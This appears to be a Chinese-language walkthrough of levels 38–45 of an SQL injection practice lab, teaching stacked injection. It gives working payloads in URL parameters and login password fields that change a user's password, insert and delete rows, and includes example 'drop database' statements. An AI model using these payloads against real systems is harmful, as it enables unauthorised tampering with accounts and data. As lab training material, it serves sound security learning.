第38关
堆叠注入:简单理解就是一条语句结束后再连接一条语句,这就叫堆叠注入。
举几个最简单的例子:
- 查询数据并创建一个数据库:select * from users;creat database test;
- 查询数据并删除一个数据库:select * from users;drop database test;
- 查询数据并插入数据:select * from users;insert into users(id,username,password) values(‘id’,‘username’,‘password’);
- 查询数据并更新数据:select * from users;update users set password=‘1111’ where username=‘admin’;
- 查询数据并删除数据: select * from users;delete from users where id=___
依旧单引号闭合,发现报错,加上--+
,正常回显,则闭合方式就为单引号
尝试堆叠注入修改密码(因为Dumb容易查询,所以就修他的值)
?id=1' ;update users set password='admin' where username='Dumb';--+
修改成功。
第39关
单引号,双引号,单引号加单括号都报错,可以判断为数字型注入,操作和上一关相同,先把密码改回来
?id=1' ;update users set password='Dumb' where username='Dumb';--+
第40关
寻找闭合方式,单引号报错,单引号加单括号也报错,在后面加上--+
后,单引号加括号正常显示,则判断闭合方式为单引号加括号,操作仍相同,这里尝试插入一个数据。
?id=1;insert into users(id,username,password) values(16,'test','test');
查询是否插入成功
第41关
单引号,单引号加单括号,双引号闭合都没有回显,说明为数字型注入,这里尝试删除刚刚加入的数据。
?id=1 ;delete from users where id=16;
查询数据库发现已经被删除
第42关
直接尝试用堆叠注入,在用户名输入admin';insert into users(id,username,password) values(16,'123','123');
来创建一个数据库,密码admin
,登陆失败,查看数据库发现创建失败,这里先看看源代码。
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
发现对用户名进行了转义过滤,但密码处没有任何过滤,尝试再密码处创建数据库,这里我们可以小小的设置一下,这样就能看到我们输入的语句了
尝试插入一条数据admin';insert into users(id,username,password) values(16,'123','123');
插入成功。既然登陆密码处没有过滤,并且有报错回显,那这里可以尝试报错注入,抓包测试,不然有亿点麻烦
第43关
密码处单引号报错,通过报错信息可以看出闭合方式为')
,插入一条数据
admin');insert into users(id,username,password) values(16,'123','123');
插入成功。
第44关
单引号闭合后登陆,发现没有报错。其实本关与42关不同就在于没有报错,这也意味着我们不能使用报错注入,但仍能使用堆叠注入,这里我们尝试删除43关插入的数据。
admin';delete from users where id=16;
第45关
寻找闭合方式,因为没有报错只能堆叠注入然后查看结果,最后发现闭合方式为单引号加单括号,这里也是插入了一条数据
admin');insert into users(id,username,password) values(45,'123','123');